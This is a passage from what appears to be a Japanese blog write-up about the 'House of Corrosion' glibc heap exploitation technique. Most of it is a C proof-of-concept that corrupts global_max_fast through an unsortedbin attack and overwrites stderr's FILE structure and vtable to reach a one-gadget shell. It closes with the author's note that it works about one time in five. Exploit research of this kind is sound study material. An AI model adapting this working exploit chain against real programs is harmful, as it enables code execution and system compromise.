 20  tmp2 = malloc(0x50);\
 21  assert(((unsigned long)tmp1&0xff)<((unsigned long)A&0xff) && ((unsigned long)tmp1&0xff)<0xa0);\
 22  free(tmp1);\
 23  free(tmp2);\
 24  ((char*)tmp2)[0] = LSB_A;\
 25  tmp2 = malloc(0x50);\
 26  tmp1 = malloc(0x50);\
 27  printf("[-]tmp1: %p\n",tmp1);\
 28  printf("[-]tmp2: %p\n",tmp2);\
 29  tmp1[1] = (sz+0x10)|1;\
 30  tmp1[6] = 0;\
 31  tmp1[7] = (sz+0x10)|1;\
 32  printf("[-]A: %p\n",A);\
 33  printf("[-]B: %p\n",B);
 34
 35#define ADV2(chunk,value,size) \
 36  free(chunk);\
 37  chunk[0] = value;\
 38  malloc(size);
 39
 40#define ADV2_WITH_CHANGE(chunk, value, size, value_size)\
 41  free(chunk);\
 42  if(value_size == 0x2) ((short*)chunk)[0] = value;\
 43  else {printf("ERROR\n"); exit(0);}\
 44  chunk = malloc(size);
 45
 46#define ADV3(chunkA, chunkB, tmp, LSB_A, size_DST, size_SRC, tamper_flight_flag, tamper_value)\
 47  free(chunkB);\
 48  free(chunkA);\
 49  ((char*)chunkA)[0] = LSB_A;\
 50  chunkA = malloc(size_DST); \
 51  tmp[1] = (0x10 + size_SRC)|1; \
 52  free(chunkA); \
 53  tmp[1] = (0x10 + size_DST)|1; /* to avoid corruption detection */\
 54  if(tamper_flight_flag==1) ((short*)chunkA)[0] = tamper_value;\
 55  chunkA = malloc(size_DST);
 56
 57//This 3 variables must be set (have the same 4-bit entropy)
 58void *LSBs_gmf = 0xc940; //global_max_fast: 4nibble目は適当
 59void *LSBs_IO_str_jumps = 0x7360-0x20; // -0x20 is NEEDED to call _IO_str_overflow instead of xsputn
 60void *LSBs_call_rax = 0xc610;; // this must be nearby default_morecore
 61
 62void *off_gmf_libcbase = 0x3ed940;
 63void *off_stdout_libcbase = 0x3ec760;
 64void *off_arena_libcbase = 0x3ebc40;
 65ull off_fastbinY_stderr = 0xa28;
 66
 67unsigned size_formula(unsigned long delta){
 68  return (unsigned)(delta*2 + 0x20);
 69}
 70
 71int main(int argc, char *argv[])
 72{
 73  WAIT
 74
 75  // Calc and get some addrs
 76  char num;
 77  void *addr_stdout = stdout;
 78  void *libcbase = addr_stdout - off_stdout_libcbase;
 79  ull *addr_IO_file_jumps = 0x3e82a0 + (ull)libcbase;
 80  void *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase;
 81  void *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase;
 82  ull *addr_IO_str_overflow = (ull)libcbase + 0x8ff60;
 83  ull addr_IO_str_jumps = (ull)libcbase + 0x3e8360;
 84  ull addr_call_rax = (ull)libcbase + 0x8d610;
 85  void *addr_fastbinY = (ull)addr_main_arena + 0x60;
 86  ull *A1,*B1,*A2,*B2,*tmp11,*tmp21,*temp12,*tmp22,*padd, *chunk_fake_size;
 87  ull *dumped_main_arena_end_chunk, *pedantic_chunk;
 88  ull *stderr_mode_chunk, *stderr_flags_chunk, *stderr_IO_buf_base_chunk, *stderr_IO_write_ptr_chunk, *stderr_s_alloc_chunk, *stderr_vtable_chunk;
 89  ull *stdout_mode_chunk;
 90  ull temp;
 91  ull *temp_ptrs[10];
 92  unsigned sz1=size_formula(off_fastbinY_stderr+0x60);
 93  unsigned size_dumped_main_arena_end = size_formula(0x1ce0); //WHY 8??
 94  unsigned size_stderr_flags = size_formula(0xa30) - 0x8;
 95  unsigned size_stderr_mode = size_formula(0xa30+0xc0) - 0x8;
 96  unsigned size_stderr_IO_buf_base = size_formula(0xa30+0x38 - 0x8);
 97  unsigned size_stderr_IO_write_ptr = size_formula(0xa30+0x28 - 0x8);
 98  unsigned size_stderr_IO_buf_end = size_formula(0xa30+0x30 + 0x8);
 99  unsigned size_stderr_vtable = size_formula(0xa30+0xd8 - 0x8);
100  unsigned size_stderr_s_alloc = size_formula(0xa30+0xe0 - 0x8);
101  unsigned size_stdout_mode = size_formula(0xb10 + 0xc0 - 0x8);
102  unsigned size_morecore = size_formula(0x888-0x8); //WHY 8??
103  ull *onegadget = 0x00021b95;
104  unsigned off_default_morecore_onegadget = 0x4becb;
105  printf("House of Corrosion : PoC\n");
106  printf("___________________________________\n\n");
107  printf("__LIBC INFO__\n");
108  printf("libcbase : %p\n",libcbase);
109  printf("mainarena: %p\n",addr_main_arena);
110  printf("fastbinsY: %p\n",addr_fastbinY);
111  printf("global_max_fast: %p\n",addr_gmf);
112  printf("call rax: %p\n",addr_call_rax);
113  printf("___________________________________\n\n");
114
115  // Alloc some chunks
116  printf("* Preparing for some chunks ...*\n");
117  ull *a = malloc(0x450); //for unsortedbin attack targeting at global_max_fast
118  ull *padding = malloc(0x20);
119  ull *largebin = malloc(0x450); //for largebin chunk with NON_MAINARENA which would cause assert() later
120  ull *avoid_consolidation = malloc(0x110-0x30);
121
122  // Prepare for Advantage 3
123  /* LSB SENSITIVE !!! */
124  GET_CLOSE_CHUNK(A1,B1,tmp11,tmp21,size_stderr_IO_buf_end,0x50,0x90);
125  GET_CLOSE_CHUNK(A2,B2,tmp21,tmp22,size_stderr_s_alloc,0x90,0x0);
126
127  chunk_fake_size = malloc(sz1 + 0x100); //make fake size for fake fastbin's next chunk
128  for(int ix=0;ix!=(sz1+0x100)/0x10;++ix){
129    *(chunk_fake_size+0+ix*2) = 0x0;
130    *(chunk_fake_size+1+ix*2) = 0x30|1;
131  }
132
133  //Malloc chunks for Advantage2
134  dumped_main_arena_end_chunk = malloc(size_dumped_main_arena_end);
135  pedantic_chunk = malloc(size_formula(0x1cf8)-0x8);
136  stderr_mode_chunk = malloc(size_stderr_mode);
137  stderr_flags_chunk = malloc(size_stderr_flags);
138  stderr_IO_write_ptr_chunk = malloc(size_stderr_IO_write_ptr);
139  stderr_IO_buf_base_chunk = malloc(size_stderr_IO_buf_base);
140  stderr_vtable_chunk = malloc(size_stderr_vtable);
141  stdout_mode_chunk = malloc(size_stdout_mode);
142  printf("[*]DONE\n");
143
144  //Connect to largebin with NON_MAINARENA 1
145  printf("\n* Connecting to largebin...*\n");
146  free(largebin);
147  malloc(0x500);
148  ((ull*)(((ull)largebin)-0x10))[0] = 0;
149  ((ull*)(((ull)largebin)-0x10))[1] = 0x460|0b101; //set NON_MAIN_ARENA
150  printf("[*]DONE\n");
151
152  //Unsortedbin Attack
153  printf("\n* Doing unsortedbin attack agains global_max_fast...*\n");
154  free(a);
155
156  a[0] = 0xfffff; //victim->fd
157#ifndef DEBUG
158  for(int ix=0;ix!=2;++ix){ //victim->bk
159    temp = (unsigned long long)LSBs_gmf >> (8*ix);
160    num = temp % 0x100;
161    if(ix==0)
162      num -= 0x10;
163    *(char*)((unsigned long long)a+8+ix) = num;
164  }
165#else
166  for(int ix=0;ix!=8;++ix){ //libcの情報からgmfを計算しているため100%正確な位置に書き込める。 いちいちデバッグでbrute-forceめんどいから
167    temp = (unsigned long long)addr_gmf >> (8*ix);
168    num = temp % 0x100;
169    if(ix==0)
170      num -= 0x10;
171    *(char*)((unsigned long long)a+8+ix) = num;
172  }
173
174  //calculate the 100% accurate LSbytes
175  LSBs_IO_str_jumps = (addr_IO_str_jumps-0x20)&0xffff;
176  LSBs_call_rax = addr_call_rax&0xffff;
177#endif
178
179  malloc(0x450); //unsorted attack!!
180
181  //Check whether the unsorted attack is success or not
182  if(*((ull*)addr_gmf) != (ull)addr_main_arena + 96){
183    printf("\n\n[-]FAIL: unsortedbin attack\n");
184    exit(0);
185  }else{
186    printf("[!]SUCCESS: unsortedbin attack\n");
187  }
188
189
190  // Make unsortedbin's bk VALID
191  printf("\n* Make unsortedbin's bk VALID...*\n");
192  ADV2(dumped_main_arena_end_chunk, 0x450+0x10, size_dumped_main_arena_end); //size
193  free(pedantic_chunk); //fd/bk
194  printf("dumped_main_arena_end: 0x%016llx 0x%016llx\n",*((ull*)((ull)addr_gmf-0x10)),*((ull*)((ull)addr_gmf-0x8)));
195  printf("global_max_fast      : 0x%016llx 0x%016llx\n",*(ull*)addr_gmf, *((ull*)((ull)addr_gmf+0x8)));
196
197  // Overwrite vtable and so on
198  printf("\n* Overwriting some addrs...*\n");
199  printf("HOWEVER, I can't speak from now on due to the corruption.\n");
200  printf("Wish you can get shell, bye.\n\n");
201  ADV2(stderr_mode_chunk, 0x1, size_stderr_mode);
202  ADV2(stdout_mode_chunk, 0x1, size_stdout_mode);
203  ADV2(stderr_flags_chunk, 0x0, size_stderr_flags);
204  ADV2(stderr_IO_write_ptr_chunk, 0x7fffffffffffffff, size_stderr_IO_write_ptr);
205  ADV2(stderr_IO_buf_base_chunk, off_default_morecore_onegadget, size_stderr_IO_buf_base);
206
207
208  // Transplant __morecore's value to stderr->file._IO_buf_end
209  ADV3(A1,B1,tmp11,0x50,size_stderr_IO_buf_end,size_morecore,0,0);
210  tmp11[1] = (size_morecore+0x10)|1;// morecoreにdefault_morecoreの値を戻しておく
211  A1 = malloc(size_morecore);
212
213  // Write LSByte of _IO_str_jumps on stderr->vtable
214  ADV2_WITH_CHANGE(stderr_vtable_chunk, LSBs_IO_str_jumps, size_stderr_vtable, sizeof(short));
215
216  // Transplant __morecore's value to _s._allocate_buffer
217  ADV3(A2,B2,tmp21,0x90,size_stderr_s_alloc,size_morecore,1,LSBs_call_rax);
218
219  //Trigger assert()
220  malloc(0x50);
221
222  printf("You won't reach here. Can you get a shell??");
223
224  return 0;
225}

結果 Link to this heading

5 回に 1 回程度成功し、それ以外は SEGV になる:

アウトロ Link to this heading

ファイルストリーム系の理解が甘いために曖昧な説明になってしまった部分が多いのが情けない。 以降は一旦 heap 系は置いておいて、ファイルストリーム系を勉強し直そうと思う。

Refs Link to this heading